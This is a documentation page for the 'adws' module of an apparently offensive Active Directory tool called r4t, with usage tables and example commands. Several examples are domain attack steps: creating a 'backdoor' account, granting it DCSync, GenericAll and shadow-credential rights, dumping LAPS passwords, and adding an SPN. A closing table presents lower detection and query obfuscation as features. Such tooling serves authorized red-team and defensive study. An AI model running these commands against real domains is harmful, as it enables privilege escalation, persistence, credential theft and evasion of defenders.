> ## Documentation Index
> Fetch the complete documentation index at: https://wiki.krkn.tech/llms.txt
> Use this file to discover all available pages before exploring further.

# ADWS

# adws

Active Directory Web Services (ADWS) operations. ADWS is the transport layer used by PowerShell's `ActiveDirectory` module — it communicates over port 9389 using SOAP/NBFS rather than raw LDAP. R4t implements ADWS as a fully-featured alternative to the `ldap` command.

***

## Usage

```text theme={null}
r4t adws <subcommand> [flags]
```

**Persistent Flag:**

| Flag       | Short | Description                                                      |
| ---------- | ----- | ---------------------------------------------------------------- |
| `--verify` | `-V`  | Verify the operation succeeded by re-reading the modified object |

***

## Subcommands

### `adws query`

Execute an arbitrary LDAP filter query via ADWS.

```bash theme={null}
r4t adws query --filter "(objectClass=user)"

# Return specific attributes
r4t adws query --filter "(&(objectClass=user)(adminCount=1))" --attrs samAccountName,memberOf

# Limit results
r4t adws query --filter "(objectClass=computer)" --attrs name,operatingSystem --max 50
```

| Flag       | Short | Description                       |
| ---------- | ----- | --------------------------------- |
| `--filter` | `-F`  | LDAP filter **\[required]**       |
| `--attrs`  | `-A`  | Attributes to return (repeatable) |
| `--max`    | `-M`  | Maximum results (default: 100)    |

***

### `adws get`

Query specific AD object types.

```text theme={null}
r4t adws get <object-type> [name] [flags]
```

#### Object Types

| Type        | Argument           | Description                          |
| ----------- | ------------------ | ------------------------------------ |
| `users`     | —                  | All user accounts                    |
| `computers` | —                  | All computer accounts                |
| `groups`    | —                  | All security and distribution groups |
| `ous`       | —                  | All Organizational Units             |
| `maq`       | —                  | Machine Account Quota                |
| `passpol`   | —                  | Domain password policy               |
| `funclvl`   | —                  | Domain/forest functional level       |
| `domain`    | —                  | Domain information                   |
| `forest`    | —                  | Forest information                   |
| `dcs`       | —                  | All domain controllers               |
| `trusts`    | —                  | Domain trust relationships           |
| `user`      | `<samAccountName>` | Specific user                        |
| `computer`  | `<samAccountName>` | Specific computer                    |
| `group`     | `<samAccountName>` | Specific group                       |
| `ou`        | `<name>`           | Specific OU                          |
| `dn`        | —                  | Object by DN (`--dn` required)       |
| `dacl`      | `<object>`         | DACL on an object                    |
| `dacls`     | —                  | DACLs for all high-value objects     |
| `gplink`    | `<object>`         | GPO links on a container             |
| `gplinks`   | —                  | All GPO links in the domain          |

#### Flags

| Flag            | Description                                                    |
| --------------- | -------------------------------------------------------------- |
| `--attrs`       | Comma-separated attributes to return                           |
| `--active`      | Filter to only active/enabled objects (for users, computers)   |
| `--person`      | Filter to only person-type users (for `users`)                 |
| `--no-truncate` | Don't truncate long values (for `group`)                       |
| `--dn`          | Distinguished Name to look up (for `dn`)                       |
| `--resolve`     | Resolve SID/GUID to names (for `dacl`, `dacls`)                |
| `--as-user`     | Show effective rights as a specific user (for `dacl`, `dacls`) |
| `--as-group`    | Show effective rights as a group member (for `dacl`, `dacls`)  |

#### Examples

```bash theme={null}
# Get all users
r4t adws get users

# Get only active users with specific attributes
r4t adws get users --active --attrs samAccountName,memberOf,lastLogon

# Get a specific user
r4t adws get user jsmith

# Get a specific computer
r4t adws get computer WS01$

# Get a group with member list (no truncation)
r4t adws get group "Domain Admins" --no-truncate

# Get all domain controllers
r4t adws get dcs

# Get machine account quota
r4t adws get maq

# Get object by DN
r4t adws get dn --dn "CN=jsmith,CN=Users,DC=corp,DC=example,DC=com"

# Get DACL for an object (with SID resolution)
r4t adws get dacl "CN=Domain Admins,CN=Users,DC=corp,DC=example,DC=com" --resolve

# Get all high-value DACLs
r4t adws get dacls --resolve

# Get GPO links on an OU
r4t adws get gplink "OU=Workstations,DC=corp,DC=example,DC=com"

# Get all GPO links
r4t adws get gplinks
```

***

### `adws create`

Create new AD objects.

```text theme={null}
r4t adws create <object-type> <name> [password] [flags]
```

| Type       | Arguments                     | Description                      |
| ---------- | ----------------------------- | -------------------------------- |
| `user`     | `<samAccountName> <password>` | Create a new user account        |
| `computer` | `<hostname> <password>`       | Create a new computer account    |
| `group`    | `<samAccountName>`            | Create a new security group      |
| `ou`       | `<name>`                      | Create a new Organizational Unit |

| Flag       | Description                                                 |
| ---------- | ----------------------------------------------------------- |
| `--ou`     | Parent OU DN for the new object (for user, computer, group) |
| `--parent` | Parent DN for the new OU                                    |

#### Examples

```bash theme={null}
# Create a user
r4t adws create user backdoor 'P@ssword1' --ou "CN=Users,DC=corp,DC=example,DC=com"

# Create a computer account
r4t adws create computer FAKEPC$ 'RandomPass123!'

# Create a group
r4t adws create group "Evil Admins" --ou "CN=Users,DC=corp,DC=example,DC=com"

# Create an OU
r4t adws create ou "Staging" --parent "DC=corp,DC=example,DC=com"
```

***

### `adws modify`

Modify existing AD objects.

```text theme={null}
r4t adws modify <subcommand> [flags]
```

| Subcommand            | Arguments          | Description                       |
| --------------------- | ------------------ | --------------------------------- |
| `user`                | `<samAccountName>` | Modify user attributes            |
| `computer`            | `<hostname>`       | Modify computer attributes        |
| `group`               | `<samAccountName>` | Modify group attributes           |
| `ou`                  | `<name>`           | Modify OU attributes              |
| `attr`                | —                  | Modify a specific attribute by DN |
| `remove-group-member` | `<groupName>`      | Remove a member from a group      |
| `dacl`                | `<object>`         | Modify the DACL of an object      |
| `gplink`              | `<object>`         | Modify GPO links on a container   |

#### Flags for `modify user/computer/group/ou`

| Flag      | Description                                             |
| --------- | ------------------------------------------------------- |
| `--attrs` | Attributes to set in `key=value` format **\[required]** |

#### Flags for `modify attr`

| Flag      | Description                                |
| --------- | ------------------------------------------ |
| `--dn`    | DN of the object to modify **\[required]** |
| `--attr`  | Attribute name to modify **\[required]**   |
| `--value` | New value                                  |
| `--op`    | Operation: `replace`, `add`, `delete`      |

#### Flags for `modify remove-group-member`

| Flag          | Description                                |
| ------------- | ------------------------------------------ |
| `--member-dn` | DN of the member to remove **\[required]** |

#### Flags for `modify dacl`

| Flag            | Description                                             |
| --------------- | ------------------------------------------------------- |
| `--trustee`     | Account to grant/revoke rights to                       |
| `--generic-all` | Grant GenericAll                                        |
| `--dcsync`      | Grant DCSync rights (Replicating Directory Changes All) |
| `--rbcd`        | Grant Resource-Based Constrained Delegation rights      |
| `--shadow-cred` | Grant shadow credential write rights                    |
| `--set-owner`   | Set as owner of the object                              |
| `--restore`     | Restore original DACL                                   |

#### Flags for `modify gplink`

| Flag         | Description                  |
| ------------ | ---------------------------- |
| `--gpo-guid` | GUID of the GPO              |
| `--link`     | Create a new GPO link        |
| `--unlink`   | Remove a GPO link            |
| `--enforced` | Set the GPO link as enforced |
| `--restore`  | Restore original GPO links   |

#### Examples

```bash theme={null}
# Modify user attributes
r4t adws modify user jsmith --attrs "description=Test account"

# Modify specific attribute by DN
r4t adws modify attr --dn "CN=jsmith,CN=Users,DC=corp,DC=example,DC=com" \
  --attr servicePrincipalName --value "HTTP/app.corp.example.com" --op add

# Remove user from group
r4t adws modify remove-group-member "Domain Admins" \
  --member-dn "CN=jsmith,CN=Users,DC=corp,DC=example,DC=com"

# Grant DCSync rights to a controlled account
r4t adws modify dacl "DC=corp,DC=example,DC=com" --trustee backdoor --dcsync

# Grant GenericAll on a target object
r4t adws modify dacl "CN=jsmith,CN=Users,DC=corp,DC=example,DC=com" \
  --trustee backdoor --generic-all

# Link a GPO to an OU
r4t adws modify gplink "OU=Workstations,DC=corp,DC=example,DC=com" \
  --gpo-guid "{12345678-1234-1234-1234-123456789012}" --link
```

***

### `adws delete`

Delete AD objects.

```text theme={null}
r4t adws delete <subcommand>
```

| Subcommand | Arguments          | Description                    |
| ---------- | ------------------ | ------------------------------ |
| `dn`       | —                  | Delete by DN (`--dn` required) |
| `user`     | `<samAccountName>` | Delete a user                  |
| `computer` | `<hostname>`       | Delete a computer              |
| `group`    | `<samAccountName>` | Delete a group                 |
| `ou`       | `<name>`           | Delete an OU                   |

```bash theme={null}
# Delete by DN
r4t adws delete dn --dn "CN=backdoor,CN=Users,DC=corp,DC=example,DC=com"

# Delete user
r4t adws delete user backdoor

# Delete computer
r4t adws delete computer FAKEPC$
```

***

### `adws laps`

Interact with LAPS (Local Administrator Password Solution) via ADWS.

```text theme={null}
r4t adws laps <subcommand> [computer]
```

| Subcommand    | Arguments               | Description                                                |
| ------------- | ----------------------- | ---------------------------------------------------------- |
| `enabled`     | `[computer]`            | List computers with LAPS enabled (or check a specific one) |
| `dump`        | `[computer]`            | Dump readable LAPS passwords (or for a specific computer)  |
| `permissions` | `[computer]`            | Show principals with LAPS read access                      |
| `set`         | `<computer> <password>` | Set the LAPS password for a computer                       |

```bash theme={null}
# List all LAPS-enabled computers
r4t adws laps enabled

# Dump all LAPS passwords you can read
r4t adws laps dump

# Get LAPS password for a specific computer
r4t adws laps dump WS01

# See who can read LAPS passwords for a specific machine
r4t adws laps permissions WS01

# Set a LAPS password (requires write access)
r4t adws laps set WS01 'NewLAPSpass123!'
```

***

## ADWS vs LDAP

| Feature           | `adws`                              | `ldap`                |
| ----------------- | ----------------------------------- | --------------------- |
| Port              | 9389                                | 389 / 636             |
| Protocol          | SOAP over NBFS                      | Raw LDAP              |
| Detection profile | Lower (mimics PowerShell AD module) | Standard LDAP queries |
| Query obfuscation | Via ADWS transport                  | Via el-dap            |
| Coverage          | Full parity                         | Full parity           |

Both commands populate the same underlying database tables.